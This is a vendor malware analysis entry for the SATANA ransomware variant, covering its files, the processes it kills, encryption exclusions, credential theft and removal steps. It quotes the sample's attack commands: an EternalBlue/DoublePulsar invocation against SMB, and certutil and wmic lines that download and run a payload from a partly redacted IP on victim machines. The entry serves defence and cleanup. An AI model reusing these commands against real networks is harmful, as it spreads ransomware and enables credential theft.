Ransom.Win32.SATANA.A


 ALIASES:

Gen:Variant.Ulise.85448 (BITDEFENDER); Win32:Malware-gen (AVAST)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Ransomware

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW

Infection Channel:

Dropped by other malware, Downloaded from the Internet

This Ransomware arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It takes advantage of certain vulnerabilities.

It encrypts files found in specific folders. It drops files as ransom note. It avoids encrypting files with the following file extensions.

  TECHNICAL DETAILS

File Size:

3,405,824 bytes

File Type:

EXE

Memory Resident:

Yes

Initial Samples Received Date:

20 Nov 2019

Payload:

Connects to URLs/IPs, Displays message/message boxes, Collects system information, Encrypts files, Steals information, Exploits vulnerability

Arrival Details

This Ransomware arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It may be downloaded from the following remote sites:

  • http://{BLOCKED}.{BLOCKED}.45.207/car/c.exe

Installation

This Ransomware drops and executes the following files:

  • %ProgramData%\cpt.exe -> main ransomware

(Note: %ProgramData% is a version of the Program Files folder where any user on a multi-user computer can make changes to programs. This contains application data for all users. This is usually C:\ProgramData on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit), or C:\Documents and Settings\All Users on Windows Server 2003(32-bit), 2000(32-bit) and XP.)

It adds the following processes:

  • blue.exe --TargetIP {Victim's IP}
  • star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp {Victim IP}
  • certutil.exe -urlcache -split -f http://{BLOCKED}.{BLOCKED}.45.207/car/c.exe C:/c.exe
  • wmic /node: {Victim IP} process call create cmd.exe /c certutil.exe -urlcache -split -f http://{BLOCKED}.{BLOCKED}.45.207/car/c.exe C:/c.exe&C:\c.exe

It adds the following mutexes to ensure that only one of its copies runs at any one time:

  • SSSS_Scan
  • SATAN_CRYPT

Process Termination

This Ransomware terminates the following services if found on the affected system:

  • MySQL
  • MySQLa
  • SQLWriter
  • SQLSERVERAGENT
  • MSSQLFDLauncher
  • MSSQLSERVER
  • UxSms

It terminates the following processes if found running in the affected system's memory:

  • calc.exe
  • sqlservr.exe
  • mysqld.exe
  • nmesrvc.exe
  • sqlagent.exe
  • fdhost.exe
  • fdlauncher.exe
  • reportingservicesservice.exe
  • omtsreco.exe
  • tnslsnr.exe
  • oracle.exe
  • emagent.exe
  • perl.exe
  • sqlwriter.exe
  • mysqld-nt.exe
  • mysqld-nt.exe

Dropping Routine

This Ransomware drops the following files:

  • %All Users Profile%\blue.exe -> EternalBlue module
  • %All Users Profile%\blue.fb -> EternalBlue config
  • %All Users Profile%\blue.xml -> EternalBlue config
  • %All Users Profile%\cnli-1.dll
  • %All Users Profile%\coli-0.dll
  • %All Users Profile%\crli-0.dll
  • %All Users Profile%\dmgd-4.dll
  • %All Users Profile%\exma-1.dll
  • %All Users Profile%\libeay32.dll
  • %All Users Profile%\libxml2.dll
  • %All Users Profile%\posh-0.dll
  • %All Users Profile%\ssleay32.dll
  • %All Users Profile%\star.exe -> DoublePulsar module
  • %All Users Profile%\star.fb -> DoublePulsar config
  • %All Users Profile%\star.xml -> DoublePulsar config
  • %All Users Profile%\tibe-2.dll
  • %All Users Profile%\trch-1.dll
  • %All Users Profile%\trfo-2.dll
  • %All Users Profile%\tucl-1.dll
  • %All Users Profile%\ucl.dll
  • %All Users Profile%\xdvl-0.dll
  • %All Users Profile%\zlib1.dll
  • %All Users Profile%\down64.dll -> contains module for download via certutil
  • %All Users Profile%\mmkt.exe -> Mimikatz module
  • %All Users Profile%\uname
  • %All Users Profile%\upass
  • %Temp%\Ssession

(Note: %All Users Profile% is the common user's profile folder, which is usually C:\Documents and Settings\All Users on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\ProgramData on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit). . %Temp% is the Windows temporary folder, where it usually is C:\Windows\Temp on all Windows operating system versions.)

It drops the following files wherein it saves the information it gathers:

  • %Program Files%\Common Files\System\Scanlog

(Note: %Program Files% is the default Program Files folder, usually C:\Program Files in Windows 2000(32-bit), Server 2003(32-bit), XP, Vista(64-bit), 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit) , or C:\Program Files (x86) in Windows XP(64-bit), Vista(64-bit), 7(64-bit), 8(64-bit), 8.1(64-bit), 2008(64-bit), 2012(64-bit) and 10(64-bit).)

Information Theft

This Ransomware gathers the following data:

  • Username
  • Password
  • IP Address
  • Windows Version

Stolen Information

This Ransomware sends the gathered information via HTTP POST to the following URL:

  • {BLOCKED}.{BLOCKED}.159.102

Other Details

This Ransomware does the following:

  • It spawns a command prompt that displays if the certutil command has been completed successfully:

It takes advantage of the following vulnerabilities:

Ransomware Routine

This Ransomware encrypts files found in the following folders:

  • Fixed Drives
  • Network Drives
  • Removable Drives

It avoids encrypting files with the following strings in their file name:

  • boot.ini
  • desktop.ini
  • star.fb
  • blue.fb
  • star.xml
  • blue.xml
  • uname
  • upass
  • e8.jsp

It avoids encrypting files with the following strings in their file path:

  • windows
  • ManagementStudio
  • python2
  • python3
  • microsoft games
  • boot
  • i386
  • intel
  • dvd maker
  • recycle
  • jdk
  • libs
  • all users
  • 360rec
  • 360sec
  • 360sand
  • favorites
  • common files
  • internet explorer
  • msbuild
  • public
  • 360downloads
  • windows defen
  • windows mail
  • windows media pl
  • windows nt
  • windows photo viewer
  • windows sidebar
  • default user
  • temp
  • 360safe

It avoids encrypting files found in the following folders:

  • %Program Files%\Microsoft SQL Server
  • %Program Files%\Mysql
  • %Program Files%\oracle
  • %Program Files%\Microsoft SQL Server
  • %Program Files%\Mysql
  • %Program Files%\oracle
  • \oracle
  • \database
  • \data
  • \db
  • \app\Administrator\oradata
  • \mysql
  • \mssql
  • \back
  • \backup
  • \dbbackup
  • \databackup
  • \JspStudy\MySQL\data
  • \phpStudy\MySQL\data
  • \ORACAL\Administrator\oradata
  • \oracle12c

(Note: %Program Files% is the default Program Files folder, usually C:\Program Files in Windows 2000(32-bit), Server 2003(32-bit), XP, Vista(64-bit), 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit) , or C:\Program Files (x86) in Windows XP(64-bit), Vista(64-bit), 7(64-bit), 8(64-bit), 8.1(64-bit), 2008(64-bit), 2012(64-bit) and 10(64-bit).)

It renames encrypted files using the following names:

  • {file path}\[satan_pro@mail.ru]{filename with extension}.{random characters}.session

It drops the following file(s) as ransom note:

  • {Root Drive}\{Chinese characters}.txt

It avoids encrypting files with the following file extensions:

  • session
  • cab
  • pol
  • dll
  • msi
  • exe
  • lib
  • iso
  • bin
  • bmp
  • tmp
  • log
  • ocx
  • chm
  • dat
  • sys
  • wim
  • sdi
  • lnk
  • gho
  • pbk

  SOLUTION

Minimum Scan Engine:

9.850

FIRST VSAPI PATTERN FILE:

15.508.01

FIRST VSAPI PATTERN DATE:

20 Nov 2019

VSAPI OPR PATTERN File:

15.509.00

VSAPI OPR PATTERN Date:

21 Nov 2019

Step 1

Trend Micro Predictive Machine Learning detects and blocks malware at the first sign of its existence, before it executes on your system. When enabled, your Trend Micro product detects this malware under the following machine learning name:

     
    • Troj.Win32.TRX.XXPE50FFF033

Step 2

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 3

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 4

Identify and terminate files detected as Ransom.Win32.SATANA.A

[ Learn More ]
  1. Windows Task Manager may not display all running processes. In this case, please use a third-party process viewer, preferably Process Explorer, to terminate the malware/grayware/spyware file. You may download the said tool here.
  2. If the detected file is displayed in either Windows Task Manager or Process Explorer but you cannot delete it, restart your computer in safe mode. To do this, refer to this link for the complete steps.
  3. If the detected file is not displayed in either Windows Task Manager or Process Explorer, continue doing the next steps.

Step 5

Search and delete these files

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.
  • %All Users Profile%\blue.exe
  • %All Users Profile%\blue.fb
  • %All Users Profile%\blue.xml
  • %All Users Profile%\cnli-1.dll
  • %All Users Profile%\coli-0.dll
  • %All Users Profile%\crli-0.dll
  • %All Users Profile%\dmgd-4.dll
  • %All Users Profile%\exma-1.dll
  • %All Users Profile%\libeay32.dll
  • %All Users Profile%\libxml2.dll
  • %All Users Profile%\posh-0.dll
  • %All Users Profile%\ssleay32.dll
  • %All Users Profile%\star.exe
  • %All Users Profile%\star.fb
  • %All Users Profile%\star.xml
  • %All Users Profile%\tibe-2.dll
  • %All Users Profile%\trch-1.dll
  • %All Users Profile%\trfo-2.dll
  • %All Users Profile%\tucl-1.dll
  • %All Users Profile%\ucl.dll
  • %All Users Profile%\xdvl-0.dll
  • %All Users Profile%\zlib1.dll
  • %All Users Profile%\down64.dll
  • %All Users Profile%\cpt.exe
  • %All Users Profile%\mmkt.exe
  • %All Users Profile%\uname
  • %All Users Profile%\upass
  • %Program Files%\Common Files\System\Scanlog
  • %Temp%\Ssession
  • {Root Drive}\{Chinese characters}.txt

Step 6

Scan your computer with your Trend Micro product to delete files detected as Ransom.Win32.SATANA.A. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:

Step 7

Restore encrypted files from backup.


Did this description help? Tell us how we did.